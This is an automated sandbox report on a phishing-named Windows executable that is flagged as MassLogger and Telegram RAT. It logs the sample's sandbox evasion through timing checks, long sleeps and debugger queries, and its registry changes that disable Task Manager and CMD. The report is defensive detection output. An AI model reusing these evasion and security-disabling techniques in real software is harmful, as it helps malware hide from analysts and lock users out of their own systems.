Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	RDTSC instruction interceptor: First address: 57A3A5C second address: 57A3A5C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FD7CCE42CC2h 0x00000006 test dx, cx 0x00000009 inc ebp 0x0000000a test bl, al 0x0000000c inc ebx 0x0000000d test bx, ax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	RDTSC instruction interceptor: First address: 3D53A5C second address: 3D53A5C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FD7CD58AE72h 0x00000006 test dx, cx 0x00000009 inc ebp 0x0000000a test bl, al 0x0000000c inc ebx 0x0000000d test bx, ax 0x00000010 rdtsc

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Memory allocated: 34B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Memory allocated: 34840000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599451	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597910	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597348	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597023	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596742	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595748	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594082	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593803	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593656	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593546	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593218	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Window / User API: threadDelayed 3060			Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Window / User API: threadDelayed 6761			Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

API coverage: 4.0 %

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7908	Thread sleep count: 3060 > 30	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7908	Thread sleep count: 6761 > 30	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599451s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -597910s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -597348s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -597023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596742s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595748s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -595093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -594082s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593803s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe TID: 7904	Thread sleep time: -593218s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405772
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_0040622D FindFirstFileW,FindClose,	5_2_0040622D
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_00402770 FindFirstFileW,	5_2_00402770
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00402770 FindFirstFileW,	10_2_00402770
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	10_2_00405772
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_0040622D FindFirstFileW,FindClose,	10_2_0040622D

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599451	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597910	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597348	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 597023	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596742	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595748	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 594082	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593803	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593656	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593546	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Thread delayed: delay time: 593218	Jump to behavior

Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.00000000045B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004558000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(X[

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	API call chain: ExitProcess graph end node			graph_5-4798
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	API call chain: ExitProcess graph end node			graph_5-4803

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 10_2_36DD5B28 LdrInitializeThunk,LdrInitializeThunk,

10_2_36DD5B28

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

5_2_00406254

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Process created: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

5_2_00405F0C

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616, type: MEMORYSTR

Yara detected Telegram RAT

